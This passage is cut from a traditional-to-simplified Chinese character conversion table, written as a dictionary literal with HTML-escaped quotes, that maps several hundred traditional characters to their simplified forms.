&#39;挡&#39;, &#39;擓&#39;: &#39;㧟&#39;, &#39;擔&#39;: &#39;担&#39;, &#39;據&#39;: &#39;据&#39;, &#39;擠&#39;: &#39;挤&#39;, &#39;擬&#39;: &#39;拟&#39;, &#39;擯&#39;: &#39;摈&#39;, &#39;擰&#39;: &#39;拧&#39;, &#39;擱&#39;: &#39;搁&#39;, &#39;擲&#39;: &#39;掷&#39;, &#39;擴&#39;: &#39;扩&#39;, &#39;擷&#39;: &#39;撷&#39;, &#39;擺&#39;: &#39;摆&#39;, &#39;擻&#39;: &#39;擞&#39;, &#39;擼&#39;: &#39;撸&#39;, &#39;擾&#39;: &#39;扰&#39;, &#39;攄&#39;: &#39;摅&#39;, &#39;攆&#39;: &#39;撵&#39;, &#39;攏&#39;: &#39;拢&#39;, &#39;攔&#39;: &#39;拦&#39;, &#39;攖&#39;: &#39;撄&#39;, &#39;攙&#39;: &#39;搀&#39;, &#39;攛&#39;: &#39;撺&#39;, &#39;攜&#39;: &#39;携&#39;, &#39;攝&#39;: &#39;摄&#39;, &#39;攢&#39;: &#39;攒&#39;, &#39;攣&#39;: &#39;挛&#39;, &#39;攤&#39;: &#39;摊&#39;, &#39;攪&#39;: &#39;搅&#39;, &#39;攬&#39;: &#39;揽&#39;, &#39;敗&#39;: &#39;败&#39;, &#39;敘&#39;: &#39;叙&#39;, &#39;敵&#39;: &#39;敌&#39;, &#39;數&#39;: &#39;数&#39;, &#39;斂&#39;: &#39;敛&#39;, &#39;斃&#39;: &#39;毙&#39;, &#39;斕&#39;: &#39;斓&#39;, &#39;斗&#39;: &#39;斗&#39;, &#39;斬&#39;: &#39;斩&#39;, &#39;斷&#39;: &#39;断&#39;, &#39;於&#39;: &#39;于&#39;, &#39;時&#39;: &#39;时&#39;, &#39;晉&#39;: &#39;晋&#39;, &#39;晝&#39;: &#39;昼&#39;, &#39;暈&#39;: &#39;晕&#39;, &#39;暉&#39;: &#39;晖&#39;, &#39;暘&#39;: &#39;旸&#39;, &#39;暢&#39;: &#39;畅&#39;, &#39;暫&#39;: &#39;暂&#39;, &#39;曄&#39;: &#39;晔&#39;, &#39;曆&#39;: &#39;历&#39;, &#39;曇&#39;: &#39;昙&#39;, &#39;曉&#39;: &#39;晓&#39;, &#39;曏&#39;: &#39;向&#39;, &#39;曖&#39;: &#39;暧&#39;, &#39;曠&#39;: &#39;旷&#39;, &#39;曨&#39;: &#39;昽&#39;, &#39;曬&#39;: &#39;晒&#39;, &#39;書&#39;: &#39;书&#39;, &#39;會&#39;: &#39;会&#39;, &#39;朧&#39;: &#39;胧&#39;, &#39;朮&#39;: &#39;术&#39;, &#39;术&#39;: &#39;术&#39;, &#39;朴&#39;: &#39;朴&#39;, &#39;東&#39;: &#39;东&#39;, &#39;杴&#39;: &#39;锨&#39;, &#39;极&#39;: &#39;极&#39;, &#39;柜&#39;: &#39;柜&#39;, &#39;柵&#39;: &#39;栅&#39;, &#39;桿&#39;: &#39;杆&#39;, &#39;梔&#39;: &#39;栀&#39;, &#39;梘&#39;: &#39;枧&#39;, &#39;條&#39;: &#39;条&#39;, &#39;梟&#39;: &#39;枭&#39;, &#39;梲&#39;: &#39;棁&#39;, &#39;棄&#39;: &#39;弃&#39;, &#39;棖&#39;: &#39;枨&#39;, &#39;棗&#39;: &#39;枣&#39;, &#39;棟&#39;: &#39;栋&#39;, &#39;棧&#39;: &#39;栈&#39;, &#39;棲&#39;: &#39;栖&#39;, &#39;棶&#39;: &#39;梾&#39;, &#39;椏&#39;: &#39;桠&#39;, &#39;楊&#39;: &#39;杨&#39;, &#39;楓&#39;: &#39;枫&#39;, &#39;楨&#39;: &#39;桢&#39;, &#39;業&#39;: &#39;业&#39;, &#39;極&#39;: &#39;极&#39;, &#39;榪&#39;: &#39;杩&#39;, &#39;榮&#39;: &#39;荣&#39;, &#39;榲&#39;: &#39;榅&#39;, &#39;榿&#39;: &#39;桤&#39;, &#39;構&#39;: &#39;构&#39;, &#39;槍&#39;: &#39;枪&#39;, &#39;槤&#39;: &#39;梿&#39;, &#39;槧&#39;: &#39;椠&#39;, &#39;槨&#39;: &#39;椁&#39;, &#39;槳&#39;: &#39;桨&#39;, &#39;樁&#39;: &#39;桩&#39;, &#39;樂&#39;: &#39;乐&#39;, &#39;樅&#39;: &#39;枞&#39;, &#39;樓&#39;: &#39;楼&#39;, &#39;標&#39;: &#39;标&#39;, &#39;樞&#39;: &#39;枢&#39;, &#39;樣&#39;: &#39;样&#39;, &#39;樸&#39;: &#39;朴&#39;, &#39;樹&#39;: &#39;树&#39;, &#39;樺&#39;: &#39;桦&#39;, &#39;橈&#39;: &#39;桡&#39;, &#39;橋&#39;: &#39;桥&#39;, &#39;機&#39;: &#39;机&#39;, &#39;橢&#39;: &#39;椭&#39;, &#39;橫&#39;: &#39;横&#39;, &#39;檁&#39;: &#39;檩&#39;, &#39;檉&#39;: &#39;柽&#39;, &#39;檔&#39;: &#39;档&#39;, &#39;檜&#39;: &#39;桧&#39;, &#39;檟&#39;: &#39;槚&#39;, &#39;檢&#39;: &#39;检&#39;, &#39;檣&#39;: &#39;樯&#39;, &#39;檮&#39;: &#39;梼&#39;, &#39;檯&#39;: &#39;台&#39;, &#39;檳&#39;: &#39;槟&#39;, &#39;檸&#39;: &#39;柠&#39;, &#39;檻&#39;: &#39;槛&#39;, &#39;櫃&#39;: &#39;柜&#39;, &#39;櫓&#39;: &#39;橹&#39;, &#39;櫚&#39;: &#39;榈&#39;, &#39;櫛&#39;: &#39;栉&#39;, &#39;櫝&#39;: &#39;椟&#39;, &#39;櫞&#39;: &#39;橼&#39;, &#39;櫟&#39;: &#39;栎&#39;, &#39;櫥&#39;: &#39;橱&#39;, &#39;櫧&#39;: &#39;槠&#39;, &#39;櫨&#39;: &#39;栌&#39;, &#39;櫪&#39;: &#39;枥&#39;, &#39;櫫&#39;: &#39;橥&#39;, &#39;櫬&#39;: &#39;榇&#39;, &#39;櫱&#39;: &#39;蘖&#39;, &#39;櫳&#39;: &#39;栊&#39;, &#39;櫸&#39;: &#39;榉&#39;, &#39;櫻&#39;: &#39;樱&#39;, &#39;欄&#39;: &#39;栏&#39;, &#39;權&#39;: &#39;权&#39;, &#39;欏&#39;: &#39;椤&#39;, &#39;欒&#39;: &#39;栾&#39;, &#39;欖&#39;: &#39;榄&#39;, &#39;欞&#39;: &#39;棂&#39;, &#39;欽&#39;: &#39;钦&#39;, &#39;歐&#39;: &#39;欧&#39;, &#39;歟&#39;: &#39;欤&#39;, &#39;歡&#39;: &#39;欢&#39;, &#39;歲&#39;: &#39;岁&#39;, &#39;歷&#39;: &#39;历&#39;, &#39;歸&#39;: &#39;归&#39;, &#39;歿&#39;: &#39;殁&#39;, &#39;殘&#39;: &#39;残&#39;, &#39;殞&#39;: &#39;殒&#39;, &#39;殤&#39;: &#39;殇&#39;, &#39;殨&#39;: &#39;㱮&#39;, &#39;殫&#39;: &#39;殚&#39;, &#39;殮&#39;: &#39;殓&#39;, &#39;殯&#39;: &#39;殡&#39;, &#39;殰&#39;: &#39;㱩&#39;, &#39;殲&#39;: &#39;歼&#39;, &#39;殺&#39;: &#39;杀&#39;, &#39;殻&#39;: &#39;壳&#39;, &#39;殼&#39;: &#39;壳&#39;, &#39;毀&#39;: &#39;毁&#39;, &#39;毆&#39;: &#39;殴&#39;, &#39;毿&#39;: &#39;毵&#39;, &#39;氂&#39;: &#39;牦&#39;, &#39;氈&#39;: &#39;毡&#39;, &#39;氌&#39;: &#39;氇&#39;, &#39;氣&#39;: &#39;气&#39;, &#39;氫&#39;: &#39;氢&#39;, &#39;氬&#39;: &#39;氩&#39;, &#39;氳&#39;: &#39;氲&#39;, &#39;汙&#39;: &#39;污&#39;, &#39;決&#39;: &#39;决&#39;, &#39;沒&#39;: &#39;没&#39;, &#39;沖&#39;: &#39;冲&#39;, &#39;況&#39;: &#39;况&#39;, &#39;洶&#39;: &#39;汹&#39;, &#39;浹&#39;: &#39;浃&#39;, &#39;涂&#39;: &#39;涂&#39;, &#39;涇&#39;: &#39;泾&#39;, &#39;涼&#39;: &#39;凉&#39;, &#39;淀&#39;: &#39;淀&#39;, &#39;淒&#39;: &#39;凄&#39;, &#39;淚&#39;: &#39;泪&#39;, &#39;淥&#39;: &#39;渌&#39;, &#39;淨&#39;: &#39;净&#39;, &#39;淩&#39;: &#39;凌&#39;, &#39;淪&#39;: &#39;沦&#39;, &#39;淵&#39;: &#39;渊&#39;, &#39;淶&#39;: &#39;涞&#39;, &#39;淺&#39;: &#39;浅&#39;, &#39;渙&#39;: &#39;涣&#39;, &#39;減&#39;: &#39;减&#39;, &#39;渦&#39;: &#39;涡&#39;, &#39;測&#39;: &#39;测&#39;, &#39;渾&#39;: &#39;浑&#39;, &#39;湊&#39;: &#39;凑&#39;, &#39;湞&#39;: &#39;浈&#39;, &#39;湯&#39;: &#39;汤&#39;, &#39;溈&#39;: &#39;沩&#39;, &#39;準&#39;: &#39;准&#39;, &#39;溝&#39;: &#39;沟&#39;, &#39;溫&#39;: &#39;温&#39;, &#39;滄&#39;: &#39;沧&#39;, &#39;滅&#39;: &#39;灭&#39;, &#39;滌&#39;: &#39;涤&#39;, &#39;滎&#39;: &#39;荥&#39;, &#39;滬&#39;: &#39;沪&#39;, &#39;滯&#39;: &#39;滞&#39;, &#39;滲&#39;: &#39;渗&#39;, &#39;滷&#39;: &#39;卤&#39;, &#39;滸&#39;: &#39;浒&#39;, &#39;滻&#39;: &#39;浐&#39;, &#39;滾&#39;: &#39;滚&#39;, &#39;滿&#39;: &#39;满&#39;, &#39;漁&#39;: &#39;渔&#39;, &#39;漚&#39;: &#39;沤&#39;, &#39;漢&#39;: &#39;汉&#39;, &#39;漣&#39;: &#39;涟&#39;, &#39;漬&#39;: &#39;渍&#39;, &#39;漲&#39;: &#39;涨&#39;, &#39;漵&#39;: &#39;溆&#39;, &#39;漸&#39;: &#39;渐&#39;, &#39;漿&#39;: &#39;浆&#39;, &#39;潁&#39;: &#39;颍&#39;, &#39;潑&#39;: &#39;泼&#39;, &#39;潔&#39;: &#39;洁&#39;, &#39;潙&#39;: &#39;沩&#39;, &#39;潛&#39;: &#39;潜&#39;, &#39;潤&#39;: &#39;润&#39;, &#39;潯&#39;: &#39;浔&#39;, &#39;潰&#39;: &#39;溃&#39;, &#39;潷&#39;: &#39;滗&#39;, &#39;潿&#39;: &#39;涠&#39;, &#39;澀&#39;: &#39;涩&#39;, &#39;澆&#39;: &#39;浇&#39;, &#39;澇&#39;: &#39;涝&#39;, &#39;澐&#39;: &#39;沄&#39;, &#39;澗&#39;: &#39;涧&#39;, &#39;澠&#39;: &#39;渑&#39;, &#39;澤&#39;: &#39;泽&#39;, &#39;澦&#39;: &#39;滪&#39;, &#39;澩&#39;: &#39;泶&#39;, &#39;澮&#39;: &#39;浍&#39;, &#39;澱&#39;: &#39;淀&#39;, &#39;濁&#39;: &#39;浊&#39;, &#39;濃&#39;: &#39;浓&#39;, &#39;濕&#39;: &#39;湿&#39;, &#39;濘&#39;: &#39;泞&#39;, &#39;濛&#39;: &#39;蒙&#39;, &#39;濟&#39;: &#39;济&#39;, &#39;濤&#39;: &#39;涛&#39;, &#39;濫&#39;: &#39;滥&#39;, &#39;濰&#39;: &#39;潍&#39;, &#39;濱&#39;: &#39;滨&#39;, &#39;濺&#39;: &#39;溅&#39;, &#39;濼&#39;: &#39;泺&#39;, &#39;濾&#39;: &#39;滤&#39;, &#39;瀅&#39;: &#39;滢&#39;, &#39;瀆&#39;: &#39;渎&#39;, &#39;瀇&#39;: &#39;㲿&#39;, &#39;瀉&#39;: &#39;泻&#39;, &#39;瀏&#39;: &#39;浏&#39;, &#39;瀕&#39;: &#39;濒&#39;, &#39;瀘&#39;: &#39;泸&#39;, &#39;瀝&#39;: &#39;沥&#39;, &#39;瀟&#39;: &#39;潇&#39;, &#39;瀠&#39;: &#39;潆&#39;, &#39;瀦&#39;: &#39;潴&#39;, &#39;瀧&#39;: &#39;泷&#39;, &#39;瀨&#39;: &#39;濑&#39;, &#39;瀰&#39;: &#39;弥&#39;, &#39;瀲&#39;: &#39;潋&#39;, &#39;瀾&#39;: &#39;澜&#39;, &#39;灃&#39;: &#39;沣&#39;, &#39;灄&#39;: &#39;滠&#39;, &#39;灑&#39;: &#39;洒&#39;, &#39;灕&#39;: &#39;漓&#39;, &#39;灘&#39;: &#39;滩&#39;, &#39;灝&#39;: &#39;灏&#39;, &#39;灠&#39;: &#39;漤&#39;, &#39;灣&#39;: &#39;湾&#39;, &#39;灤&#39;: &#39;滦&#39;, &#39;灧&#39;: &#39;滟&#39;, &#39;災&#39;: &#39;灾&#39;, &#39;為&#39;: &#39;为&#39;, &#39;烏&#39;: &#39;乌&#39;, &#39;烴&#39;: &#39;烃&#39;, &#39;無&#39;: &#39;无&#39;, &#39;煉&#39;: &#39;炼&#39;, &#39;煒&#39;: &#39;炜&#39;, &#39;煙&#39;: &#39;烟&#39;, &#39;煢&#39;: &#39;茕&#39;, &#39;煥&#39;: &#39;焕&#39;, &#39;煩&#39;: &#39;烦&#39;, &#39;煬&#39;: &#39;炀&#39;, &#39;煱&#39;: &#39;㶽&#39;, &#39;熅&#39;: &#39;煴&#39;, &#39;熒&#39;: &#39;荧&#39;, &#39;熗&#39;: &#39;炝&#39;, &#39;熱&#39;: &#39;热&#39;, &#39;熲&#39;: &#39;颎&#39;, &#39;熾&#39;: &#39;炽&#39;, &#39;燁&#39;: &#39;烨&#39;, &#39;燈&#39;: &#39;灯&#39;, &#39;燉&#39;: &#39;炖&#39;, &#39;燒&#39;: &#39;烧&#39;, &#39;燙&#39;: &#39;烫&#39;, &#39;燜&#39;: &#39;焖&#39;, &#39;營&#39;: &#39;营&#39;, &#39;燦&#39;: &#39;灿&#39;, &#39;燭&#39;: &#39;烛&#39;, &#39;燴&#39;: &#39;烩&#39;, &#39;燶&#39;: &#39;㶶&#39;, &#39;燼&#39;: &#39;烬&#39;, &#39;燾&#39;: &#39;焘&#39;, &#39;爍&#39;: &#39;烁&#39;, &#39;爐&#39;: &#39;炉&#39;, &#39;爛&#39;: &#39;烂&#39;, &#39;爭&#39;: &#39;争&#39;, &#39;爲&#39;: &#39;为&#39;, &#39;爺&#39;: &#39;爷&#39;, &#39;爾&#39;: &#39;尔&#39;, &#39;牆&#39;: &#39;墙&#39;, &#39;牘&#39;: &#39;牍&#39;, &#39;牽&#39;: &#39;牵&#39;, &#39;犖&#39;: &#39;荦&#39;, &#39;犢&#39;: &#39;犊&#39;, &#39;犧&#39;: &#39;牺&#39;, &#39;狀&#39;: &#39;状&#39;, &#39;狹&#39;: &#39;狭&#39;, &#39;狽&#39;: &#39;狈&#39;, &#39;猙&#39;: &#39;狰&#39;, &#39;猶&#39;: &#39;犹&#39;, &#39;猻&#39;: &#39;狲&#39;, &#39;獁&#39;: &#39;犸&#39;, &#39;獄&#39;: &#39;狱&#39;, &#39;獅&#39;: &#39;狮&#39;, &#39;獎&#39;: &#39;奖&#39;, &#39;獨&#39;: &#39;独&#39;, &#39;獪&#39;: &#39;狯&#39;, &#39;獫&#39;: &#39;猃&#39;, &#39;獮&#39;: &#39;狝&#39;, &#39;獰&#39;: &#39;狞&#39;, &#39;獱&#39;: &#39;㺍&#39;, &#39;獲&#39;: &#39;获&#39;, &#39;獵&#39;: &#39;猎&#39;, &#39;獷&#39;: &#39;犷&#39;, &#39;獸&#39;: &#39;兽&#39;, &#39;獺&#39;: &#39;獭&#39;, &#39;獻&#39;: &#39;献&#39;, &#39;獼&#39;: &#39;猕&#39;, &#39;玀&#39;: &#39;猡&#39;, &#39;現&#39;: &#39;现&#39;, &#39;琺&#39;: &#39;珐&#39;, &#39;琿&#39;: &#39;珲&#39;, &#39;瑋&#39;: &#39;玮&#39;, &#39;瑒&#39;: &#39;玚&#39;, &#39;瑣&#39;: &#39;琐&#39;, &#39;瑤&#39;: &#39;瑶&#39;, &#39;瑩&#39;: &#39;莹&#39;, &#39;瑪&#39;: &#39;玛&#39;, &#39;瑲&#39;: &#39;玱&#39;, &#39;璉&#39;: &#39;琏&#39;, &#39;璣&#39;: &#39;玑&#39;, &#39;璦&#39;: &#39;瑷&#39;, &#39;璫&#39;: &#39;珰&#39;, &#39;環&#39;: &#39;环&#39;, &#39;璽&#39;: &#39;玺&#39;, &#39;瓊&#39;: &#39;琼&#39;, &#39;瓏&#39;: &#39;珑&#39;, &#39;瓔&#39;: &#39;璎&#39;, &#39;瓚&#39;: &#39;瓒&#39;, &#39;甌&#39;: &#39;瓯&#39;, &#39;產&#39;: &#39;产&#39;, &#39;産&#39;: &#39;产&#39;, &#39;畝&#39;: &#39;亩&#39;, &#39;畢&#39;: &#39;毕&#39;, &#39;異&#39;: &#39;异&#39;, &#39;畵&#39;: &#39;画&#39;, &#39;當&#39;: &#39;当&#39;, &#39;疇&#39;: &#39;畴&#39;, &#39;疊&#39;: &#39;叠&#39;, &#39;痙&#39;: &#39;痉&#39;, &#39;痾&#39;: &#39;疴&#39;, &#39;瘂&#39;: &#39;痖&#39;, &#39;瘋&#39;: &#39;疯&#39;, &#39;瘍&#39;: &#39;疡&#39;, &#39;瘓&#39;: &#39;痪&#39;, &#39;瘞&#39;: &#39;瘗&#39;, &#39;瘡&#39;: &#39;疮&#39;, &#39;瘧&#39;: &#39;疟&#39;, &#39;瘮&#39;: &#39;瘆&#39;, &#39;瘲&#39;: &#39;疭&#39;, &#39;瘺&#39;: &#39;瘘&#39;, &#39;瘻&#39;: &#39;瘘&#39;, &#39;療&#39;: &#39;疗&#39;, &#39;癆&#39;: &#39;痨&#39;, &#39;癇&#39;: &#39;痫&#39;, &#39;癉&#39;: &#39;瘅&#39;, &#39;癘&#39;: &#39;疠&#39;, &#39;癟&#39;: &#39;瘪&#39;, &#39;癢&#39;: &#39;痒&#39;, &#39;癤&#39;: &#39;疖&#39;, &#39;癥&#39;: &#39;症&#39;, &#39;癧&#39;: &#39;疬&#39;, &#39;癩&#39;: &#39;癞&#39;, &#39;癬&#39;: &#39;癣&#39;, &#39;癭&#39;: &#39;瘿&#39;, &#39;癮&#39;: &#39;瘾&#39;, &#39;癰&#39;: &#39;痈&#39;, &#39;癱&#39;: &#39;瘫&#39;, &#39;癲&#39;: &#39;癫&#39;, &#39;發&#39;: &#39;发&#39;, &#39;皚&#39;: &#39;皑&#39;, &#39;皰&#39;: &#39;疱&#39;, &#39;皸&#39;: &#39;皲&#39;, &#39;皺&#39;: &#39;皱&#39;, &#39;盃&#39;: &#39;杯&#39;, &#39;盜&#39;: &#39;盗&#39;, &#39;盞&#39;: &#39;盏&#39;, &#39;盡&#39;: &#39;尽&#39;, &#39;監&#39;: &#39;监&#39;, &#39;盤&#39;: &#39;盘&#39;, &#39;盧&#39;: &#39;卢&#39;, &#39;盪&#39;: &#39;荡&#39;, &#39;眥&#39;: &#39;眦&#39;, &#39;眾&#39;: &#39;众&#39;, &#39;睏&#39;: &#39;困&#39;, &#39;睜&#39;: &#39;睁&#39;, &#39;睞&#39;: &#39;睐&#39;, &#39;瞘&#39;: &#39;眍&#39;, &#39;瞜&#39;: &#39;䁖&#39;, &#39;瞞&#39;: &#39;瞒&#39;, &#39;瞭&#39;: &#39;了&#39;, &#39;瞶&#39;: &#39;瞆&#39;, &#39;瞼&#39;: &#39;睑&#39;, &#39;矇&#39;: &#39;蒙&#39;, &#39;矓&#39;: &#39;眬&#39;, &#39;矚&#39;: &#39;瞩&#39;, &#39;矯&#39;: &#39;矫&#39;, &#39;硃&#39;: &#39;朱&#39;, &#39;硜&#39;: &#39;硁&#39;, &#39;硤&#39;: &#39;硖&#39;, &#39;硨&#39;: &#39;砗&#39;, &#39;确&#39;: &#39;确&#39;, &#39;硯&#39;: &#39;砚&#39;, &#39;碩&#39;: &#39;硕&#39;, &#39;碭&#39;: &#39;砀&#39;, &#39;碸&#39;: &#39;砜&#39;, &#39;確&#39;: &#39;确&#39;, &#39;碼&#39;: &#39;码&#39;, &#39;磑&#39;: &#39;硙&#39;, &#39;磚&#39;: &#39;砖&#39;, &#39;磣&#39;: &#39;碜&#39;, &#39;磧&#39;: &#39;碛&#39;, &#39;磯&#39;: &#39;矶&#39;, &#39;磽&#39;: &#39;硗&#39;, &#39;礆&#39;: &#39;硷&#39;, &#39;礎&#39;: &#39;础&#39;, &#39;礙&#39;: &#39;碍&#39;, &#39;礦&#39;: &#39;矿&#39;, &#39;礪&#39;: &#39;砺&#39;, &#39;礫&#39;: &#39;砾&#39;, &#39;礬&#39;: &#39;矾&#39;, &#39;礱&#39;: &#39;砻&#39;, &#39;祿&#39;: &#39;禄&#39;, &#39;禍&#39;: &#39;祸&#39;, &#39;禎&#39;: &#39;祯&#39;, &#39;禕&#39;: &#39;祎&#39;, &#39;禡&#39;: &#39;祃&#39;, &#39;禦&#39;: &#39;御&#39;, &#39;禪&#39;: &#39;禅&#39;, &#39;禮&#39;: &#39;礼&#39;, &#39;禰&#39;: &#39;祢&#39;, &#39;禱&#39;: &#39;祷&#39;, &#39;禿&#39;: &#39;秃&#39;, &#39;秈&#39;: &#39;籼&#39;, &#39;种&#39;: &#39;种&#39;, &#39;稅&#39;: &#39;税&#39;, &#39;稈&#39;: &#39;秆&#39;, &#39;稏&#39;: &#39;䅉&#39;, &#39;稟&#39;: &#39;禀&#39;, &#39;種&#39;: &#39;种&#39;, &#39;稱&#39;: &#39;称&#39;, &#39;穀&#39;: &#39;谷&#39;, &#39;穌&#39;: &#39;稣&#39;, &#39;積&#39;: &#39;积&#39;, &#39;穎&#39;: &#39;颖&#39;, &#39;穠&#39;: &#39;秾&#39;, &#39;穡&#39;: &#39;穑&#39;, &#39;穢&#39;: &#39;秽&#39;, &#39;穩&#39;: &#39;稳&#39;, &#39;穫&#39;: &#39;获&#39;, &#39;穭&#39;: &#39;稆&#39;, &#39;窩&#39;: &#39;窝&#39;, &#39;窪&#39;: &#39;洼&#39;, &#39;窮&#39;: &#39;穷&#39;, &#39;窯&#39;: &#39;窑&#39;, &#39;窵&#39;: &#39;窎&#39;, &#39;窶&#39;: &#39;窭&#39;, &#39;窺&#39;: &#39;窥&#39;, &#39;竄&#39;: &#39;窜&#39;, &#39;竅&#39;: &#39;窍&#39;, &#39;竇&#39;: &#39;窦&#39;, &#39;竈&#39;: &#39;灶&#39;, &#39;竊&#39;: &#39;窃&#39;, &#39;竪&#39;: &#39;竖&#39;, &#39;競&#39;: &#39;竞&#39;, &#39;筆&#39;: &#39;笔&#39;, &#39;筍&#39;: &#39;笋&#39;, &#39;筑&#39;: &#39;筑&#39;, &#39;筧&#39;: &#39;笕&#39;, &#39;筴&#39;: &#39;䇲&#39;, &#39;箋&#39;: &#39;笺&#39;, &#39;箏&#39;: &#39;筝&#39;, &#39;節&#39;: &#39;节&#39;, &#39;範&#39;: &#39;范&#39;, &#39;築&#39;: &#39;筑&#39;, &#39;篋&#39;: &#39;箧&#39;, &#39;篔&#39;: &#39;筼&#39;, &#39;篤&#39;: &#39;笃&#39;, &#39;篩&#39;: &#39;筛&#39;, &#39;篳&#39;: &#39;筚&#39;, &#39;簀&#39;: &#39;箦&#39;, &#39;簍&#39;: &#39;篓&#39;, &#39;簞&#39;: &#39;箪&#39;, &#39;簡&#39;: &#39;简&#39;, &#39;簣&#39;: &#39;篑&#39;, &#39;簫&#39;: &#39;箫&#39;, &#39;簹&#39;: &#39;筜&#39;, &#39;簽&#39;: &#39;签&#39;, &#39;簾&#39;: &#39;帘&#39;, &#39;籃&#39;: &#39;篮&#39;, &#39;籌&#39;: &#39;筹&#39;, &#39;籖&#39;: &#39;签&#39;, &#39;籙&#39;: &#39;箓&#39;, &#39;籜&#39;: &#39;箨&#39;, &#39;籟&#39;: &#39;籁&#39;, &#39;籠&#39;: &#39;笼&#39;, &#39;籩&#39;: &#39;笾&#39;, &#39;籪&#39;: &#39;簖&#39;, &#39;籬&#39;: &#39;篱&#39;, &#39;籮&#39;: &#39;箩&#39;, &#39;籲&#39;: &#39;吁&#39;, &#39;粵&#39;: &#39;粤&#39;, &#39;糝&#39;: &#39;糁&#39;, &#39;糞&#39;: &#39;粪&#39;, &#39;糧&#39;: &#39;粮&#39;, &#39;糰&#39;: &#39;团&#39;, &#39;糲&#39;: &#39;粝&#39;, &#39;糴&#39;: &#39;籴&#39;, &#39;糶&#39;: &#39;粜&#39;, &#39;糹&#39;: &#39;纟&#39;, &#39;糾&#39;: &#39;纠&#39;, &#39;紀&#39;: &#39;纪&#39;, &#39;紂&#39;: &#39;纣&#39;, &#39;約&#39;: &#39;约&#39;, &#39;紅&#39;: &#39;红&#39;, &#39;紆&#39;: &#39;纡&#39;, &#39;紇&#39;: &#39;纥&#39;, &#39;紈&#39;: &#39;纨&#39;, &#39;紉&#39;: &#39;纫&#39;, &#39;紋&#39;: &#39;纹&#39;, &#39;納&#39;: &#39;纳&#39;, &#39;紐&#39;: &#39;纽&#39;, &#39;紓&#39;: &#39;纾&#39;, &#39;純&#39;: &#39;纯&#39;, &#39;紕&#39;: &#39;纰&#39;, &#39;紖&#39;: &#39;纼&#39;, &#39;紗&#39;: &#39;纱&#39;, &#39;紘&#39;: &#39;纮&#39;, &#39;紙&#39;: &#39;纸&#39;, &#39;級&#39;: &#39;级&#39;, &#39;紛&#39;: &#39;纷&#39;, &#39;紜&#39;: &#39;纭&#39;, &#39;紝&#39;: &#39;纴&#39;, &#39;紡&#39;: &#39;纺&#39;, &#39;紬&#39;: &#39;䌷&#39;, &#39;細&#39;: &#39;细&#39;, &#39;紱&#39;: &#39;绂&#39;, &#39;紲&#39;: &#39;绁&#39;, &#39;紳&#39;: &#39;绅&#39;, &#39;紵&#39;: &#39;纻&#39;, &#39;紹&#39;: &#39;绍&#39;, &#39;紺&#39;: &#39;绀&#39;, &#39;紼&#39;: &#39;绋&#39;, &#39;紿&#39;: &#39;绐&#39;, &#39;絀&#39;: &#39;绌&#39;, &#39;終&#39;: &#39;终&#39;, &#39;組&#39;: &#39;组&#39;, &#39;絅&#39;: &#39;䌹&#39;, &#39;絆&#39;: &#39;绊&#39;, &#39;絎&#39;: &#39;绗&#39;, &#39;結&#39;: &#39;结&#39;, &#39;絕&#39;: &#39;绝&#39;, &#39;絛&#39;: &#39;绦&#39;, &#39;絝&#39;: &#39;绔&#39;, &#39;絞&#39;: &#39;绞&#39;, &#39;絡&#39;: &#39;络&#39;, &#39;絢&#39;: &#39;绚&#39;, &#39;給&#39;: &#39;给&#39;, &#39;絨&#39;: &#39;绒&#39;, &#39;絰&#39;: &#39;绖&#39;, &#39;統&#39;: &#39;统&#39;, &#39;絲&#39;: &#39;丝&#39;, &#39;絳&#39;: &#39;绛&#39;, &#39;絶&#39;: &#39;绝&#39;, &#39;絹&#39;: &#39;绢&#39;, &#39;綁&#39;: &#39;绑&#39;, &#39;綃&#39;: &#39;绡&#39;, &#39;綆&#39;: &#39;绠&#39;, &#39;綈&#39;: &#39;绨&#39;, &#39;綉&#39;: &#39;绣&#39;, &#39;綌&#39;: &#39;绤&#39;, &#39;綏&#39;: &#39;绥&#39;, &#39;綐&#39;: &#39;䌼&#39;, &#39;經&#39;: &#39;经&#39;, &#39;綜&#39;: &#39;综&#39;, &#39;綞&#39;: &#39;缍&#39;, &#39;綠&#39;: &#39;绿&#39;, &#39;綢&#39;: &#39;绸&#39;, &#39;綣&#39;: &#39;绻&#39;, &#39;綫&#39;: &#39;线&#39;, &#39;綬&#39;: &#39;绶&#39;, &#39;維&#39;: &#39;维&#39;, &#39;綯&#39;: &#39;绹&#39;, &#39;綰&#39;: &#39;绾&#39;, &#39;綱&#39;: &#39;纲&#39;, &#39;網&#39;: &#39;网&#39;, &#39;綳&#39;: &#39;绷&#39;, &#39;綴&#39;: &#39;缀&#39;, &#39;綵&#39;: &#39;䌽&#39;, &#39;綸&#39;: &#39;纶&#39;, &#39;綹&#39;: &#39;绺&#39;, &#39;綺&#39;: &#39;绮&#39;, &#39;綻&#39;: &#39;绽&#39;, &#39;綽&#39;: &#39;绰&#39;, &#39;綾&#39;: &#39;绫&#39;, &#39;綿&#39;: &#39;绵&#39;, &#39;緄&#39;: &#39;绲&#39;, &#39;緇&#39;: &#39;缁&#39;, &#39;緊&#39;: &#39;紧&#39;, &#39;緋&#39;: &#39;绯&#39;, &#39;緑&#39;: &#39;绿&#39;, &#39;緒&#39;: &#39;绪&#39;, &#39;緓&#39;: &#39;绬&#39;, &#39;緔&#39;: &#39;绱&#39;, &#39;緗&#39;: &#39;缃&#39;, &#39;緘&#39;: &#39;缄&#39;, &#39;緙&#39;: &#39;缂&#39;, &#39;線&#39;: &#39;线&#39;, &#39;緝&#39;: &#39;缉&#39;, &#39;緞&#39;: &#39;缎&#39;, &#39;締&#39;: &#39;缔&#39;, &#39;緡&#39;: &#39;缗&#39;, &#39;緣&#39;: &#39;缘&#39;, &#39;緦&#39;: &#39;缌&#39;, &#39;編&#39;: &#39;编&#39;, &#39;緩&#39;: &#39;缓&#39;, &#39;緬&#39;: &#39;缅&#39;, &#39;緯&#39;: &#39;纬&#39;, &#39;緱&#39;: &#39;缑&#39;, &#39;緲&#39;: &#39;缈&#39;, &#39;練&#39;: &#39;练&#39;, &#39;緶&#39;: &#39;缏&#39;, &#39;緹&#39;: &#39;缇&#39;, &#39;緻&#39;: &#39;致&#39;, &#39;縈&#39;: &#39;萦&#39;, &#39;縉&#39;: &#39;缙&#39;, &#39;縊&#39;: &#39;缢&#39;, &#39;縋&#39;: &#39;缒&#39;, &#39;縐&#39;: &#39;绉&#39;, &#39;縑&#39;: &#39;缣&#39;, &#39;縕&#39;: &#39;缊&#39;, &#39;縗&#39;: &#39;缞&#39;, &#39;縛&#39;: &#39;缚&#39;, &#39;縝&#39;: &#39;缜&#39;, 